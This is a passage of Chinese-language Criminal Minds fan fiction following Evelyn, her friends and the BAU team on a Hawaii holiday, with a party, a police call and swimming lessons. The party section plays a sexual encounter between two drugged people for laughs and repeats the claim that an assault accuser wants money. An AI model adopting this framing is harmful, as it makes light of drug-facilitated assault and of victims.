佐伊捂着被风差点刮跑的草帽,咬着牙嫌弃的看着面前的三层自建小土房,尖尖的蓝色屋顶都褪皮了,和白色的墙壁一样露出了灰斑驳的灰色。
翠丝舔了舔晒干的嘴角,她现在已经不想进去了,她满脸的烦躁和不情愿,指着风中摇晃的蓝色铁皮,“这还能住人?”
便宜又实惠,这不就是土著自搭的危房吗?怪不得和汽车旅馆一宿的价格一样便宜。
可问题都已经到这了,行李还这么沉!佐伊比翠丝脾气还算好一点,此刻克制着自己的情绪,和一旁的好友商量道,“要不先进去看看?”
佐伊和翠丝好歹也是个移民的第三代后人,家里人经过几代的努力,足够让这两姑娘吃穿住行完全和美国普通家庭一样了,甚至佐伊家开着小超市,日子更富裕一些。
以至于,当她们得知厕所是公共厕所,拉高的厕所天花板上,蜘蛛网一层叠一层,佐伊最先进去,就见一只鹌鹑蛋大小的蜘蛛正吐着丝缓慢的往下坠落。
翠丝两只黑眼珠子都看成斗眼了,这对姐妹花同时头皮发麻、汗毛竖起,没有一丝一毫的迟疑,瞬间倒退三步。入住都没办理,拎着箱子直接就跑了。她们身后的老板娘撇撇嘴翻了个白眼。
两个姑娘也不想折腾了,在伊芙琳所在的酒店合挑了一间房,跟伊芙琳的房间没什么区别,只不过面积稍微小一点,没有露天阳台,但和三无产品的蜘蛛公共厕所比,简直就是天堂。摸着软乎乎的床榻,两个人躺一张床绰绰有余。
伊芙琳循着短信发的楼层和房号找过来,门大开,里面俩人头对着头四仰八叉的躺在床上,身上的体恤,胸口处都被汗浸出了暗色的水痕。可见是累的够呛。
她抬手敲了敲门,见两人齐刷刷的看向她,见伊芙琳端着两杯橙汁站在门口,玻璃壁上还带着冷凝的水珠和雾气,两眼都放光了,她们在大太阳下走了一个来回早就热的喉咙都开始冒烟了。
伊芙琳本以为这两人看着爬都爬不起来,连果汁都是她亲自端到她们嘴边,但她还是小瞧了这两人的毅力。
为了不浪费这一趟旅行的金钱。翠丝拖着佐伊,好姐妹互相搀扶。一头拱进了浴室。
伊芙琳看了看时间,下午三点十五,她冲着浴室提高音量,“要不咱们明天再去吧,你们也休息休……”
话还没说完,两人洗完澡不说,泳衣和罩衫都换上了。
伊芙琳也没打算换衣服,刚从自己房间拿出草帽和墨镜,戴上的瞬间,她就被这两人拖着一路跑到了沙滩上。
“……”伊芙琳直接甩开两人的手,手指在后面推着两人的后背,“你俩赶紧去,不用管我。”
俩姑娘直接脱下凉拖,撒丫子冲向向往已久的大海。
湛蓝的天空仿佛被海水洗过,几缕细长的云朵在天空中慢吞吞的飘着。
海水拍打着岸线,发出细碎的声音,高大的椰子树摇曳着翠绿的羽叶,在沙滩上投下浅色的阴影。
沙滩上还有彩色的遮阳伞,不多。躺椅整齐的排列,帆布帐篷下坐着两三个游客。
有人在躺椅上戴着墨镜闭目小憩。有的是一个家庭,爸爸牵着孩子们在海边玩耍,妈妈抱着小宝宝坐在帐篷下,一边看向远处玩耍的家人一边低头带着怀里的小宝宝玩着沙子。小孩子总会在妈妈没有注意到的时候,盯着手上沾到的沙砾,好奇的看了半晌,在妈妈慈爱的目光下,猝不及防舔了一口。
“哦上帝!”妈妈头疼的将孩子小嘴上沾到的沙砾拂掉,她看着并没有惊慌,显然她的孩子们都做过这种事。
伊芙琳看着不远处两个游泳健将在水里扑腾的开心极了。挂在脖子上的相机是派上用场了。
咔嚓咔嚓拍了好几张。
其中两张,比较经典。
一张是佐伊笑着将翠丝按进水里。
另一张是翠丝骑在佐伊身上。
伊芙琳低头看了眼照片,如果这两人死了,这一定是证据。
不远处海里两人闹着闹着,直接扭打在一起,随着波浪起起伏伏,打得更凶了……
伊芙琳踩着海水自己沿着沙滩溜达着拍了不少照片,自娱自乐玩的也差不多了,抱着相机转身就走。
————————
瑞德坐在母亲身边,轻声的读着手里已经翻阅一半的书籍。他声音不大,很柔和。
只不过偶尔在沉浸书本里时,他的语速会不自觉的加快。这是他独自一人时,在办公室看书或者研究资料时偶尔不自觉的自言自语养成的习惯。
戴安娜双手搭在膝盖上,一层薄薄的毯子盖在腿上,她静静地听着,这是母子两人难得的相处时光。她很少能见到瑞德,他们大多是用信交流,信可以写很多发生在身边的事。
自从上一个案件之后,瑞德很少在信里提到他们参与的案件,同事之间发生的事说的也不是很多。以前或许是一叠很厚的信纸,现在也只有两三章。
耳边的阅读声越来越低,语速越来越快,戴安娜望去,就见自己的儿子已经沉浸其中,似乎已经忘了他正在给自己的老母亲读书。
一旁路过的院长,穿着白色大褂,双手抄兜路过这一对奇怪的母子身边时,看了眼仿若进入了真空地带的瑞德,又看了眼拖着腮目光已经落到了窗外的戴安娜。摇了摇头走了。
瑞德读完书,合上书本的手一顿,他冷不丁想起自己原本要做的事,看向母亲的目光带着歉意和不安,他轻声道,“抱歉,妈妈。”
“为什么要道歉?”戴安娜轻笑道,“虽然妈妈经常吃药记性有些不太好,但跟上你的阅读速度还是没有问题的。”
戴安娜话题一转,轻声问道,“有喜欢的女孩了吗?”
瑞德愣了一下,反应过来后,他手指不自觉的抠着袖口的扣子。似乎最近总有人喜欢问他,有没有喜欢的人。等到反应过来手指触碰微凉的坚硬的东西时,他下意识的看向了母亲,被对方温柔的目光注视。忍不住撇开眼,他想了好久,最终轻声道,“没有。”
有些事,提起来,也只是平白引起担忧罢了。瑞德从来没有和母亲的提过她。从头到尾都没有提过梅芙,她似乎像是他一个幻想。
戴安娜察觉到了什么,她轻叹口气,看着瑞德越发瘦弱的身子,她沉吟片刻,冷不丁道,“摩根……”
瑞德听到朋友的名字,他下意识的抬眸,有些惊讶。
戴安娜捂着嘴巴轻笑,她也觉得很有意思,指了指公共区域的人电话,“摩根说他帮你订了一间房,无论你去不去,假期结束他都会找你要帐。”
“去吧,你的朋友在等你。”戴安娜握着儿子微凉的手,“祝你有一个美好的假期,斯潘塞。”
瑞德拧着眉被母亲推了出来。
夏威夷?
他宁愿坐在家里的沙发上看书。
—————————————
“派对?”伊芙琳咬着叉子,看了眼刚刚离开的一群男男女女,她看了眼对面两人。“你们忘了扎特的话了?”
佐伊没想到自家的胆小鬼说的话被伊芙琳听进去了,她无奈道,“伊芙!亲爱的,咱们来这里是干什么的你忘了?!阳光沙滩和美男啊!刚才那桌的几个男生,我就不信你不喜欢。”
翠丝塞了一口牛肉,百忙之中含糊道,“可不是……肌肉男、冰美人、阳光开朗大男孩。这还只有这几个人呢。皮特还说了他今天晚上的派对人可多了,帅哥肯定很多,如果睡一宿……嘿嘿嘿。”
也不是不可以。
翠丝饭都不吃了,陷入了自己的人幻想中,这么多人,肯定有一个愿意和她互相勾搭吧。她知道自己长的不是传统意义上的美人。但黑灯瞎火的,谁又能看得清呢,抓一个拖到床上灯一关都一样的嘛哈哈哈。
伊芙琳有些纠结的看着翠丝,那黑漆漆的脸蛋露出猥琐的笑容,大眼睛里满是波涛汹涌的……说渴望吧,这个词有些不太准确,要说猥琐吧,也挂上边。
一侧的佐伊飞速的抱着盘子拖着椅子,紧紧的靠着伊芙琳,她嫌弃的瞥了眼翠丝。偏头小声和伊芙琳窃窃私语。
“翠丝你就不用担心了,你该担心那些男孩子。反倒是你,你真不去吗?你都二十了,马上都二十一了还没个热情似火的夜晚,你不憋得慌吗?去吧,相信我,很……”
佐伊话没说完,就被人塞了一整块龙虾肉,是她盘子里的,死贵的死贵的龙虾肉!她还打算一点一点慢慢的品尝它的美味!
伊芙琳不想听到佐伊那张黄言四起的嘴,“水到渠成你懂不懂,要有感情才能擦出火花,没有感情就……”她停顿片刻含糊道,“感觉有些奇怪,总之,我不去。”
只是想着让这俩人警惕一下,别乱喝陌生人给的酒。可佐伊几句话就暴露出一件事,这还真不是普通的派对。
她更不可能去了。
说实在的,别怪伊芙琳婆婆妈妈的,她属实被吓得有些胆小也更警惕了,她真担心朋友们出什么事。坐在床边和她们讲了半个小时她们可能在派对会发生什么危险,例如被侵犯、例如侵犯后杀人、更有那种变态喜欢杀人后……
伊芙琳一边抱着电脑查找相关的案件资料,逐字逐句的和
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这俩人讲述陌生人的派对你不要参加。
佐伊和翠丝脑子都疼了,简直是身处地狱,而魔鬼还是个真长了嘴巴的大魔鬼。两人拍着胸脯一脸诚恳的和伊芙琳保证,她们绝对不会参加。说完后连连将还要准备说什么的伊芙琳连同电脑一起请了出去。
砰地一声,走廊里伊芙琳抱着电脑,她蹙着眉抿着嘴,她的凉鞋……
真是的。
算了,反正明天过来拿也可以。
于是在夜晚降临,十点半左右时,伊芙琳关上灯安静的等待睡意袭来。两个拍胸脯保证绝不参加陌生人的派对的两个大傻子,纷纷穿着漂亮的迷你小裙子一溜烟的应邀去了别墅。
派对上小主人是一位富二代,这栋别墅是他母亲的,这次家里人没跟着一起过来,他趁机带着朋友们过来打野食。
因着卷入一件侵犯案件中,女方不依不饶非要控告皮特,只不过案件还在调查。
毕竟女方是自愿和皮特进入房间,视频显示的也是两人靠在走廊的墙壁亲吻了好久。这一点无疑让警方调查的更吃力,现在网友也倾向于这个女人是自愿的,只是为了要钱才选择控告皮特这个有钱人家的公子哥。
皮特被警察三番两次的上门调查,已经有些不耐烦了,他母亲怕他再干出袭警的事,于是点头同意了皮特去夏威夷度假。
这皮特长得很帅气,加上金钱的加持,直接成了这次派对里最受欢迎的男一号。
有的人从网上知道这个男人卷入了一宗侵犯案,但大多数人都是抱着女方想要钱的心理。于是女孩们也不在乎那些虚假的信息,有一半都围着皮特转。
派对里,男男女女,两个派系的人数大多相同。当有一大半的女生围绕着一个男的时,就证明这个平衡被打破了,哎呦,有人落单了。
角落坐了半个小时冷板凳的翠丝终于笑了。她本来还担心自己长得不好看没人上来勾搭。可此刻,落单的男孩子们多的数不胜数。
她就像是一只在黑暗中看不见的活蜘蛛,干了一杯马提尼彻底生龙活虎了起来。挥着八条腿眼睛都冒着光。
落单的帅哥们哦呵呵呵呵,她怎么也能捞一个。抱着这个迷之自信的想法,翠丝眨着卡姿兰黑色大眼睛,咧着长长的大嘴巴,她的嘴巴确实很大,路过的帅哥但凡看她一眼,她就抓紧羞羞答答的将自己朝外一侧的肩带慢吞吞的拉下来,疯狂的抛媚眼。
如此,大概不到十分钟左右吧。
翠丝靠着的吧台变成了真空地带。
甚至连想要过来拿杯酒的人都绕道走了,宁可在派对上不喝酒,也不敢靠近吧台。
过来做兼职的女酒保都忍不住看了眼还在稳坐钓鱼台的翠丝,对方吊着黑漆漆的三角眼邪魅的看向每一个坐在沙发上死也不过来的孩子们的背影,她清晰的感觉到那些背影仿佛被什么电了一样,微微僵硬又带着点抖动。
女酒保也是入行十多年,第一次在以酒为主题的派对上,坐了冷板凳。
眼见着到后半场了,一些人陆陆续续的消失。
佐伊和一个帅哥在阳台上抱着啃了好久,余光瞥见翠丝似乎抱着一个男的,她还诧异了一下,但内心还是给朋友点了个赞。厉害了翠丝!
说起来可能哪里有些不对劲,翠丝浑身火烧火燎的,这种感觉不是心理而是身体。诚然她心理的情感火烧火燎了二十多年,但一直被圣经和没有男人看上她这两座大山压着,导致身心干净的她不知道什么叫身体上的情感爆发。
此刻她被一个脚步虚浮的男人搂着,她蹙着眉想要抬头看看是谁,毕竟是自己的第一次,翠丝非常想要知道这人是谁。
不过没想到,她刚要拉开男人抱着她的手,对方似乎还有些不乐意,死死的揽着翠丝的腰,语气黏糊的凑到翠丝耳边,滚烫的气息也随之落下,“怎么?你不愿意?刚才还和我在厕所亲热,现在装作不情不愿的样子,你也想要讹我的钱吗?少爷我啊,有的是钱,你们这群贱人就是没事找事,本少爷看得上你们,是你们的福气,什么侵犯,真是可笑……”
说实话,翠丝脑子有些没明白这男的怎么啰嗦成这德行,和伊芙一样。但伊芙好歹是个女的,这男的啰嗦的和女人一样,简直有些掉价了,火烧火燎的身心都降了一个度。
不过好歹也是个男的,有总比没有强吧。
这还是第一次男人抓着她抓的死死的,生怕她跑了。
翠丝虚荣心一瞬间爆棚,更是八爪鱼一样黏了上去。
两人进了房间,黑漆漆,男人凭着以前的经验,刚想抓着女人的手捆起来方便行事,结果一摸,不知道什么时候,他身下的女的已经光的不能再光……
这个时候,同样按照以往的经验,男孩觉得哪里有什么不对,但身下的女的都没给他一秒的反应时间,直接把他掀翻了。他酒醒了一半,张着嘴想说什么,就被上面那张大嘴堵的死死的。
那张嘴大的有些离谱!
男人拼命回想自己带过来的女的长什么样,但当时喝多了脑子也断片了,只几得是个黑发的美人……
黑发……
哦上帝!
29.第 29 章
浅色的窗帘根本遮挡不住阳光。
暖烘烘的温度和微亮的光线,床上的人一头拱进白色枕头里。
屋子里静悄悄的,手机铃声响起时,床头柜微微震动。
被子里慢吞吞的伸出一只手,胡乱的摸索着手机。脑袋就是不从被子里出来。
“这里是伊芙琳.蔡司……”
被子里传来闷闷的有些含糊的声音。
紧接着,被子里的人直接坐起身,薄被从头顶一路滑到大腿上,伊芙琳一只手将盖住脸的头发撩起来,摸了把脸就直接托着沉重的脑袋,语气有些烦躁,“我都说了不能去,你们还是去了!翠丝怎么样了?她还好吗?”
该说的都说了,伊芙琳也不能绑着人家不去。
佐伊看了眼还在床上的两人,以及两名正在做笔录的警员,她不知道如何回答,这让她不知道怎么说。
按照目前调查的情况来说,翠丝确实是遭受侵犯的,但事情又和正常的侵犯不太一样……
伴随着愤怒的咆哮,佐伊捂着嘴对着电话筒道,“反正,警察也来了,你先过来吧。”
警察都来了,这显然不是一件小事!
伊芙琳立刻掀开被子,随便找了一条裙子套上,快速的洗漱后拿着手机和一些证件放在包里,想了想又将行李箱里的卡也带上了。
也不知道翠丝怎么样了,佐伊吞吞吐吐的什么都没说,挂断电话前还听到对面男人的咆哮声。
也庆幸还有警察在,不然两个小姑娘铁定会被吃的渣都不剩。
希望这张卡用不上,伊芙琳脑海里已经不由自主的浮现出,电视剧里、社会新闻里,那些可怜的女孩子们悲惨的样子了。
与此同时。
摩根从前台手里接过自己的证件,对着漂亮的小姐他露出一抹迷人的笑容,“谢谢。”
瑞德和加西亚已经等在电梯口了,眼见着电梯马上就要下来了,摩根还在前台磨蹭,加西亚提着自己的粉嫩的小行李箱大声喊道,“快点摩根,电梯要来啦!”
话说完,见人终于舍得挪动了,加西亚才收回视线对着电梯门整理下自己粉色的草帽,“等会你们男孩子们该干什么干什么,不用管我。”
她可不想参加男孩子们无聊的猎艳活动,加西亚都能想象,到时候自己干巴巴的抱着游泳圈在海里随浪翻滚,而她的好基友在不远处的沙滩上大秀肌肉和美女调情。
哦对了,还有瑞德。加西亚同情的回头看了眼当陪衬的大男孩。他一定会被摩根找来的美女们吃的渣都不剩。
瑞德眨了眨眼,看向两侧。
加西亚深深叹息,一根筋的家伙是不会有女孩子的喜欢的。虽然是个天才,但看着笨笨的。情商不能说零,但也差不多了。
她回头看着缓缓打开的电梯门,和身后的两个朋友道,“我找伊芙琳,你们就不用管我了。”
斜后方冷不丁有一道声音疑惑的问道,“伊芙琳也在?”
加西亚回头刚想说什么,电梯门分开时,一个穿着吊带彩色条纹针织裙的女孩正低着头将自己铂金色的头发扎起来,开门后头也没抬,准备避开下半身穿着死亡芭比粉的其他客人。
“哦,伊芙!”
伊芙琳听到声音抬头,瞬间露出惊喜的笑,“加西亚!”
两人在电梯前狠狠的来了一个大大的拥抱。
伊芙琳余光瞥见清瘦高挑的青年靠着走廊墙壁站着。他单手拿着一本厚厚的硬壳书籍,另一只手搭在行李箱的把手上,暖棕色的目光定定地看向自己,似乎有些惊讶。
伊芙琳捏着手机,眼底的惊讶可不比对方少多少。
摩根凑上来打招呼,“hi,好久不见。”
虽然加西亚和他提到过,但摩根可没想到刚来就见到人了,这可真是好巧。
伊芙琳伸手握了握,然后将另一个人的手捏在手里晃了晃,表示自己的欢迎。
说起来,瑞德博士的手怎么总是凉丝丝的,气血不足啊这是。摩根先生和加西亚都暖乎乎的。
“嘿,可爱的小伊芙,我还想着等会找你呢,真是巧啊,你是要去吃早餐吗?”
加西亚踩着粉色小高跟鞋,将行李箱靠在走廊边上,好奇的问道。
早餐啊,她是有点饿了。伊芙琳捏着手机冷不丁想起来自己是要干正事的,翠丝还不知道什么情况呢。
“我要出去办点事。”伊芙琳看了眼手腕上的表,匆忙的和几人又打了个招呼匆匆忙忙的跑了。
看着背影,还挺急的。
瑞德收回视线,他按了电梯。
———————
皮特浑身上下,惨不忍睹。
也不能说惨,顶多就是红色的痕迹有些多了。而这些显然不是他自己啃的。
伊芙琳匆忙跑进佐伊说的房间,大开的门,轻易能看见里面的混乱。
被子大半落到了地上堆叠着。
床单上还带着点点血迹,很少。
翠丝头发乱蓬蓬的,当然还有嘴上花了的唇妆。两腿交叠抱着胸靠着床头,穿着吊带和打底裤,看起来是后套上去的。
看起来一脸……享受过后的满足,整个人懒洋洋的。女警员问一句她答一句,非常配合。
直到两位警察收到了检测报告,两人身上都残留着不同程度的情绪波动起伏的药物,佐伊没有一点感觉,左耳听右耳冒。反正她是没什么反应的。
只不过,这床上的另一位大男孩可就受不了刺激了。皮特看一眼翠丝,对方那漆黑的大嘴唇子就让他哆嗦。气的哆嗦。他想去对方那张嘴都要将他咬破皮了,那种凶狠的样子,活像前半辈子没有过男人一样。
而最后的那个想法,在大清早他迷迷糊糊醒过来,看到对方那张脸,他知道自己的直觉是对的!这就是个没人要的!却把他!
皮特根本没准备药,他向来因为长相和地位深受女孩的欢迎,平时只要随便几句话就能勾搭上一个,何必要下药。
为此,他报警了!皮特深深地认为,就是翠丝给他下药了!
伊芙琳看了眼翠丝的状态,就知道事情和她想的有些出入。看着男方声嘶力竭的和警察控诉翠丝的恶行。
她眯着眼打量着这金发小伙子,总感觉有些许的熟悉……
这般想着,佐伊在一旁小声道,“这个皮特,身上还带着一个侵犯案呢。据说是被女方控告了,不过鉴于女方在监控里的行为。有人说女孩就是为了讹诈才要说皮特侵犯了她。”
伊芙琳看了眼佐伊,对方眼底带着一丝跃跃欲试。“你说,会不会是皮特又要对女孩子下手,但黑灯瞎火的又被下药了,才将翠丝……”
这个思路,也不能说佐伊是错的。伊芙琳甚至暗暗觉得,说不定佐伊猜的就是事情的真相。
如果真是想要做坏事却反被压……
那也算是皮特阴沟里翻船,不全都是翠丝的错不是吗?翠丝只是来者不拒而已,又没干什么坏事……
“说起来……翠丝她……”伊芙琳压低声音小声问道,“对这件事,她刚才有没有趁机和你说了什么?”
佐伊看了眼金发白皮小帅哥,又看了眼死猪不怕开水烫的翠丝,她贴着伊芙琳耳边小声道,“她说血赚。”
这是真的,佐伊听到男人的尖叫,第一反应就是冲过去,也不知道她当时心里的想法,总之。被几名男生踹开的大门里。一个黑色瘦高的女孩将一个白色的浑身都是红痕的男孩压在下面。
那个场面反正挺混乱的,男生们的惊呼和嘲笑,女孩们的愤怒和辱骂。在这期间,佐伊本是担忧的上前要将被子盖在她身上,结果人家丝毫不惧,非常诚恳的冲着下面的皮特道,“你这人不行啊。”在皮特疯狂的把她掀开后,翠丝百忙之中还和佐伊小声道,“本来寻思随便哪个都行,没想到第一次就遇到这么帅的!简直是赚到了!佐伊,我觉得这次如果成功后,说不定咱们三个当中不是伊芙琳最先当妈妈,而是我!”
皮特不
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依不饶也没用,这件事还真和翠丝没什么关系。
总之,对着脸色难看到极致的小帅哥皮特面前,翠丝稀罕的看了对方好几眼,穿好衣服还不忘给对方一个妩媚的飞吻,手心撮的直带响。
也不知道是这个动作还是这个声音刺激到了皮特,伊芙琳站在翠丝身后,清晰地看到男孩眼睛瞬间蹦出无数血丝……
这是受了多大刺激!
伊芙琳一看情况不太对,拉着恋恋不舍的翠丝离开别墅。这期间还有佐伊的帮助。翠丝显然非常不舍,她感觉还想回去再大战三百回合。
离开时看了眼别墅,回头后脸上还带着肉眼可见的沮丧和郁闷,摸着自己蓬松的卷发,叹口气。“下次还不知道能不能找到这么个极品。”
早知道就不顾对方哀求了,那休息的一个小时还能再战呢……
翠丝郁闷的回了房间,哀叹自己终将逝去的快乐。佐伊和伊芙琳真是没眼看这个家伙。
伊芙琳回来后给加西亚打了个电话,不过不是她本人接的。
加西亚正抱着粉色游泳圈和摩根比赛,是坐在躺椅上戴着墨镜看书的瑞德接的电话。
伊芙琳抱着游泳圈来到沙滩上,一眼望去,人还蛮多的。
佐伊在一旁点了点她,“是不是那个。”
很明显,在海边抱着厚厚的硬壳书籍的人,也只有瑞德博士了。不过伊芙琳也没想到对方这么爱看书。
瑞德在遮阳伞下,书翻开了差不多一半,干净修长的手指捏着纸张,目光专注的看着,直到一只纤细白嫩的手指轻轻点了点他正在看的那一行其中一个单词上,遮住了他的目光。
青年本就坐得笔直,只抬头就看到一个黄色的游泳圈,上面是一个个憨态可掬胖乎乎的卡通鸭子。
“你不去游泳吗?”伊芙琳看着合上书籍的男人,两只手稳稳的把着自己的游泳圈。
瑞德摇了摇头,他对游泳不感兴趣,只伸手指了指不远处在海面上漂浮的一团粉色道,“加西亚在那。”
伊芙琳点了点头,转身离开。
佐伊已经快步地冲向海边,伊芙琳回头看了眼坐在遮阳伞下的人,脚步越来越慢,最后深吸口气抱着游泳圈脚步一转,又飘了过去,一条铂金色的马尾和奶黄色的缎带一起来回甩。
刚走进就看见一个女孩站在瑞德面前,伊芙琳缓缓停下脚步。
“你好,我叫罗莎,我们这里要举行沙滩排球比赛,缺一个人,你要加入我们吗?”
女孩充满期待的眼神对上瑞德干净清澈的眼睛,四目相对,瑞德拒绝的很干脆。
女孩沮丧的离开,她的朋友们围着她似乎在安慰。
伊芙琳正感叹好一个绝世大傻瓜,傻瓜目光微转,落到了她的身上。暖棕色的眼睛里似乎还带着疑惑,像是在问你怎么还没走。
伊芙琳有些尴尬的手指抠紧游泳圈,“您会游泳吗?”
好不容易来夏威夷,不下水怎么行。更何况,周围人都是一起的,就他孤孤单单的抱着书、乖乖的坐在角落里。
于是面对瑞德诧异的伸出手指反指向自己的鼻尖时,伊芙琳点了点头。“你性格好,教我肯定不会生气骂我。”
一旁也有抱着孩子无所事事的女人,哪有八卦耳朵朝哪开。
她身边的这个青年长的不错,白嫩又帅气,也算是这片沙滩上一众穿着迷你泳裤大秀肌肉男中的一股清流。有几个小姑娘路过时也忍不住目光被这个抱着书的青年吸引。
但这个青年属实让抱着孩子的女人恨铁不成钢的摇了摇头。
沙滩美女,浪漫的邂逅,这无疑是恋爱的天堂,结果这人墨镜一戴,对谁都是干净利落地拒绝。
女人没忍住将墨镜扒拉到鼻尖,露出一双浅棕色眼睛打量了这对奇怪的组合。
还没打量几眼,就见这姑娘直接上前将人拉走,被前面比他矮一个头的姑娘拉着差点踉跄栽倒在沙堆里。
“哎呦……”女人啧啧两声。
30.第 30 章
伊芙琳抱着鸭子游泳圈,站在原地等待。期间耳边还能传来远处加西亚机关枪一样连声大喊NO!
定睛一看,摩根抓着粉色游泳圈就要从加西亚身上拔下来,加西亚抱着游泳圈死活不松手。为了方便游泳特意将头发扎了起来,遇水后紧紧的贴着头皮,露出一张暂时没有脱妆的圆脸。
“我害怕!我不要松开!我的脚下面甚至没有坚实池底拖着我!我不放!”
学游泳的人最怕的就是这些。海水一下子蔓延到了加西亚的脖子。如果不是一个手死死的勾着游泳圈,另一只手抓着摩根的胳膊,海水一定会将她淹没。现在呼吸已经有些困难了!
摩根耳朵都要被震聋了,拜她所赐,喝了好几口咸涩的海水,他被面前的人扑腾的眼睛都睁不开了,只能将游泳圈还给对方才有时间抹了把脸。
伊芙琳见这两人脸色都不太好。摩根大叹气,加西亚喘粗气。
“你们怎么上来了?不学了?我还准备等会去找你们呢。”还能搭伴呢,伊芙琳瞥了眼瘫坐在沙滩上的加西亚,抓着自己的游泳圈突发奇想。说不定有加西亚当对照组,能衬的她聪明点?这样好脾气的瑞德博士就不会因为她太蠢而责骂她吧。
从小到大学游泳都碰上了各种意义上难伺候的老师。伊芙琳觉得这不是自己的问题,她本来就不会不是吗,她要是会还能让她们教吗?
艾美姐的冷嘲热讽真是能气死人,伊芙琳喝了一肚子泳池的水,气的差点飘了起来。长大后翠丝的咆哮震耳欲聋,让本来就害怕水害怕窒息的伊芙琳更是汗毛竖起整个人僵硬的如同沉底的石头,更不敢让翠丝教了。
刚才看到瑞德博士,她一方面也是觉得他似乎情绪不对。转移一下对方的注意力不比看书强多了。更何况摩根先生和加西亚多好玩呀,在他俩身边感觉什么烦恼都没有了。
当然另一方面就是,瑞德博士是她观察几次后,觉得性格最温和人,以对方的内向腼腆的性子,啊哈!一定不会说她。
伊芙琳看人还是很准的。
摩根坐在一旁,健硕的手臂抬起,摸了摸后脑,他嘶了一声,真是,这女人真狠。他无奈的替还在喘气的加西亚道“我可不能同时带你们俩,她扑腾起来,你这小身板凑近了能被她踹进海沟里,哦上帝!伊芙琳,你帮我看看我脑袋上是不是鼓起来了。”
伊芙琳绕过摩根背后,俯身眯眼打量片刻,“还真是肿了。”
摩根斜眼看向已经喘匀的加西亚,对方被看的有些心虚,但依旧强词夺理,“你抢我游泳圈!”
“我不拿走你游泳圈你怎么能学会!”
眼见着两人又要吵起来,伊芙琳抬手在两人中间隔了一道墙,“hi hi guys,稳住!”
两人互相看了一眼,摩根摸了摸鼻子轻叹口气,“总之,伊芙琳,我觉得你可以再找一个人当你的老师,这是个危险物品。”
加西亚在一旁不乐意了,盯着摩根控诉,“我还是不是你的宝贝女孩了!”
摩根无声的指了指自己的脑袋,“大包,你撞的。”
“好了,你们别吵了。”伊芙琳再一次劝道,避免这两人再一次吵起来,她直接道“我找瑞德博士教我,离你们远远的好吧。绝不凑近。”
他俩这个刚组队的,一个赛一个的弱,在摩根和加西亚身边确实形成了老弱病残对照组。一会加西亚别学急眼了,俩人动武的时候瑞德博士一定会游过去劝架,然后被揍。伊芙琳自认自己是个珍惜自己身体的好姑娘,她一定不会凑上去。反倒还可能抱着游泳圈拖着病患回到沙滩上呢。
怎么想都是得不偿失的,于是伊芙琳决定,等到两组人齐齐下海,一定要离的远一些。
摩根和加西亚顿时坐直了身子也不吵了,眼里闪过很多,很有默契的齐刷刷的盯着伊芙琳的背影以及不远处白的发光的大男孩,他们的瑞德小博士。
瑞德脸上挂着大大的墨镜,但露出的眉头紧皱,他伸手挡了下刺眼的阳光,浅棕色的卷发在炙热的阳光下变成了暖金色像是一朵烫化了的蜂蜜爆米花。
穿着衣服感觉瘦弱的小身板,竟然还有不明显的腹肌,哇哦。摩根吹了个口哨,调侃道,“可真是难得啊,我可从没见你穿成这样,竟然有腹肌啊。”
瑞德不自在的推了推墨镜,耳根有些发热,他羞恼的抿了抿嘴,最后蹦出两个单词,“闭嘴。”
摩根摊手,但他的好基友加西亚紧随其后一爪子摸了上去。瑞德敏捷的闪开,修长的的大腿轻轻一跨,就躲到了伊芙琳斜后方。
瑞德和好友被迫闹腾了一番,感觉自己没穿衣服有些不舒服,看了眼笑眯眯的抱着大黄鸭游泳圈的伊芙琳,他小声道,“现在开始?”
伊芙琳立刻点头,两人往海边走,身后的两人也爬了起来,跟在后面又开始翻来覆去的你来我往。
伊芙琳听到后,她觉得自己有必要和瑞德博士说一下自己的要求。
“如果您实在憋不住要骂我,请小声一点。”伊芙琳郑重的对着侧眸看向她的瑞德博士说道。
瑞德不明白伊芙琳为什么突然这么说。毕竟瑞德当初刚学枪的时候也是磨合了好久才学会,教他的霍奇和摩根可从来没有因为他的笨拙而训斥他。瑞德自己本身也不是这种人,他觉得伊芙琳似乎是被人说过,所以有些害怕。
想到这里,瑞德轻声道,“你本来就不会所以才找我学游泳,不要怕,我不会说的。学习从来不是一蹴而就。”
“更何况,”瑞德望了望天,他若有所思道,“笨蛋如果能骂成天才……
刨除最后一句,老师的声音温声细语的不得了,比翠丝那个大嗓门强了不止八百倍。那话听着也好治愈,和艾美这个魔鬼姐姐相比,瑞德博士就像个温软的小天使!
伊芙琳抱着游泳圈慢吞吞的迈进深海,直到双脚悬浮于海水之中,游泳圈带着她随着波浪起伏。
鼻尖是海水的味道,四周都是海水,她被海水包围,离岸边也有百十米远,她伸出双手抱着游泳圈,两腿的倒腾倒是蛮快的。但效率显然不高,感觉是在用最笨拙的方法游泳,她腿有些酸了。
瑞德博士一直在她身边,他似乎游刃有余,一只手时不时的将偏离航线、偶尔倒退的伊芙琳扯回到他身侧。
掌舵之人非常谨慎,而另一侧不远处相隔十来米的另一对师徒二人,就像是脱缰的野马。
加西亚自认自己掌握了游泳的方法,抱着游泳圈游的比伊芙琳强多了,方向感也很不错,瞧着胖乎乎的可速度很快,一门心思往前窜。
摩根正在和另一侧不知何时出现的黑发黑眼的亚裔姑娘搭讪。那姑娘没怎么搭理摩根,她的嘴已经抿成一条线,眉宇间带着一份疲惫,她轻喘口气,瞥向一旁对着她讲话的摩根,她看了眼这个大块头,一边游一边喘着气,说出了第一句话。
“浪要过来了,你不去陪着你的同伴吗?”
摩根还寻思着什么同伴,目光冷不丁顿住,猛的看向远处翻滚的白色,一边分析这只是一个小浪而已,但同时他发力快速游了过去。这要是因为搭讪让加西亚被卷进去,加西亚绝对会骑在他身上将他揍成鱼的饲料。
在紧急时刻,摩根拽着胖丫头的大胳膊,对方还准备埋头往前冲呢!
海浪翻滚过后,加西亚呼吸不顺畅,从水里拱出来咳嗽了好几声,妆被她这么一摸直接就花了。
摩根嘘寒问暖的呵护自己的好基友。加西亚狐疑的看了眼,目光落到一侧冒出头的姑娘,她呵呵两声小眼睛一眯,‘小拳拳’三两下砸的摩根差点骨裂。
而另一边瑞德担心伊芙琳被浪花卷走,自然是一路紧紧的跟着,海浪打过来的瞬间就握紧了对方的手。
伊芙琳被人扯着手从蓝色的海水中拽了出来,起伏间大概不到五六秒的时间,她没有加西亚的狼狈,只是睁开被海水打湿的双眼,一只手紧紧的攥着瑞德博士。
伊芙琳感觉到对方修长的手指微微蜷缩紧紧的握住她的手,随着柔软的海水浮动,她连同游泳圈一起被拖了过去。
奶黄色的发带和同色的泳衣一样被打湿,和湿漉漉的头发的尾巴一起黏在
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她的脖颈上,簌簌痒痒的。
